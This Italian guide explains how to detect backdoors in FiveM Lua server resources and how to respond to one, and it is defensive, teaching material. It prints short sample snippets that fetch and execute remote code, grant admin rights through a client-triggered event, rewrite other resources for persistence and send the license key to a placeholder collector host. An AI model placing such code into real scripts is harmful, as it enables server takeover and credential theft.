Come riconoscere uno script FiveM con backdoor
Le quattro forme che prende una backdoor, come leggere una resource prima che venga eseguita, e cosa fare per primo quando ne trovi una. Ordinato per quello che ti protegge davvero.
6 minuti di lettura
Qualcuno ti manda uno script "leakato gratis". Lo metti in resources, riavvii,
e funziona tutto. Tre settimane dopo uno sconosciuto ha l'admin, il tuo database
è sparito, oppure il tuo server sta silenziosamente girando pubblicità ai tuoi
stessi giocatori.
Questa guida spiega come guardare una resource prima che venga eseguita, cosa significano davvero i pattern, e cosa fare quando ne trovi uno.
Niente qui carica i tuoi file. Lo scanner di backdoor li legge nel tuo browser, che è l'unico modo sensato di esaminare uno script di cui già non ti fidi.
Comincia leggendo il manifest
fxmanifest.lua decide cosa gira. Aprilo per primo, ogni volta.
fx_version "cerulean"game "gta5"client_scripts { "client/*.lua",}server_scripts { "server/*.lua", "config/init.lua",}
Due domande, in quest'ordine:
- Ogni file elencato ha senso per quello che questa resource dichiara di
fare? Uno script di parcheggio con un
server_scriptchiamatoupdater.luamerita un'occhiata. - C'è qualcosa caricato con un wildcard attraverso cui non vedi?
server/*.luaè normale, ma vuol dire anche che un file aggiunto dopo gira senza altre modifiche.
Poi confronta il manifest con la cartella. Un file che esiste su disco e non è nel manifest di solito è zavorra. Un file nel manifest che non riesci a trovare è un segnale ben peggiore.
Le quattro forme che prende una backdoor
Quasi tutto ciò che è malevolo ricade in una di quattro famiglie. Conoscere la famiglia conta più che imparare a memoria delle stringhe, perché le stringhe cambiano e le forme no.
1. Codice scaricato a runtime ed eseguito
La resource scarica qualcosa e lo esegue. Quello che controlli oggi può servire qualcosa di diverso domani.
PerformHttpRequest("https://example-cdn.tld/p.lua", function(code, body) if code == 200 then assert(load(body))() endend, "GET")
load, loadstring, RunString e assert(load(...)) trasformano del testo in
codice che gira. Accanto a una chiamata HTTP nello stesso file, non c'è lettura
innocente.
Un auto-updater è la copertura abituale. Un updater legittimo scarica un file e ti chiede di riavviare. Non esegue in memoria quello che ha scaricato.
2. Permessi concessi a runtime
La famiglia più silenziosa, e quella che sfugge, perché niente sembra strano finché un account che nessuno ha creato non ha accesso completo.
RegisterNetEvent("core:sync", function(identifier) ExecuteCommand(("add_principal identifier.%s group.admin"):format(identifier))end)
Qui ci sono due cose sbagliate. Un add_principal a runtime non dovrebbe mai
arrivare da una resource che non hai scritto tu, e l'evento prende un identifier
dal client, quindi chiunque può chiamarlo con il proprio.
Cerca in qualsiasi resource add_principal, add_ace ed ExecuteCommand. In
uno script di gameplay normale il conteggio è zero.
3. Persistenza e reinfezione
La parte interessante di una backdoor seria è cosa succede dopo che l'hai trovata.
SaveResourceFile("chat", "fxmanifest.lua", "client_script 'x.lua'", -1)
SaveResourceFile permette a una resource di riscrivere un'altra resource.
Cancelli lo script malevolo e torna da quella che è stata riscritta. È per
questo che trovare un file non è la stessa cosa che essere puliti.
4. Esfiltrazione di secret
Il motivo per cui valeva la pena piazzarla.
local key = GetConvar("sv_licenseKey", "")PerformHttpRequest("https://example-collector.tld/k", nil, "POST", key)
Una resource che legge sv_licenseKey, steam_webApiKey, rcon_password o la
tua stringa di connessione MySQL non ha nessun motivo legittimo per farlo. E
nemmeno una URL di webhook Discord che non hai aggiunto tu.
L'offuscamento non è il reato, ma è il segnale
Parecchi script a pagamento sono offuscati per proteggere una licenza, quindi l'offuscamento da solo non significa malevolo. Significa che non puoi controllarlo, e quella è una decisione che dovresti prendere di proposito e non per caso.
| Cosa vedi | Cosa significa |
|---|---|
\x68\x74\x74\x70 ripetuto | stringhe escapate in esadecimale, che nascondono una URL o un nome |
string.char(104, 116, 116, 112) | stessa idea, in decimale |
| Una riga singola da oltre 800 caratteri | minificato, così nessuno ci passa sopra l'occhio |
Nomi in stile _0x4f2a | un offuscatore JavaScript, comune nei payload NUI |
LPH_NO_VIRTUALIZE, IronBrew, Luraph | un offuscatore Lua, chiamato per nome |
La regola onesta: un file offuscato di un venditore a pagamento che hai scelto tu è un rischio che hai accettato. Un file offuscato dentro un leak gratuito è un rischio che qualcun altro ha scelto per te.
I blocchi esadecimali e Base64 si decodificano in un passaggio con il decoder Base64, hex e URL. Gira anch'esso nel tuo browser, quindi non stai incollando un payload sospetto nel sito di uno sconosciuto.
Fai questo prima di ogni installazione
Una routine breve intercetta quasi tutto.
- Analizza l'archivio. Trascina lo
.zipdirettamente nello scanner di backdoor. Legge gli zip senza estrarli da nessuna parte. - Leggi il manifest, e confrontalo con il contenuto della cartella.
- Fai grep delle quattro famiglie.
load(,PerformHttpRequest,add_principal,SaveResourceFile,GetConvar. - Installala prima su un server di test, con una licence key usa e getta e un database che non contiene niente.
- Guarda la console al primo avvio. Le backdoor che chiamano casa di solito lo fanno subito, e un errore HTTP all'avvio è un regalo.
Quando ne trovi una
Qui l'ordine conta, e l'istinto di cancellare prima il file è sbagliato.
- Ferma il server. Non la resource. Il server.
- Cambia tutti i secret: la
sv_licenseKeydal portale Cfx, la password del tuo database, i tuoi webhook Discord, qualsiasi chiave API dentro una convar. Dai per scontato che tutto quello che sta nelserver.cfgsia noto. Il generatore di secret produce i sostituti senza mandarli da nessuna parte. - Controlla
add_principalnelle tue config e togli ogni identifier che non riconosci. - Controlla le altre resource, per via della famiglia 3. Una sola backdoor
che ha usato
SaveResourceFilesignifica che vanno lette anche le altre. - Solo a quel punto cancella la resource, e ripristina da un backup fatto prima che venisse installata, se ne hai uno.
Cambiare la licence key senza cambiare la password del database non risolve niente. Chi ha avuto esecuzione di codice lato server ha avuto anche le tue credenziali.
Cosa questo non può dirti
Il riconoscimento di pattern sul testo sorgente non è una prova.
Una backdoor scritta con cura può evitare ogni pattern di questa guida, e del
codice pulito a volte li fa scattare: una resource legittima può benissimo
chiamare PerformHttpRequest, e un sacco di script buoni leggono una convar. È
per questo che lo scanner spiega cosa significa ogni segnalazione invece di
stampare un verdetto.
Tratta un report come una lista di posti dove guardare, non come un giudizio. Il giudizio resta tuo, ed è giusto così.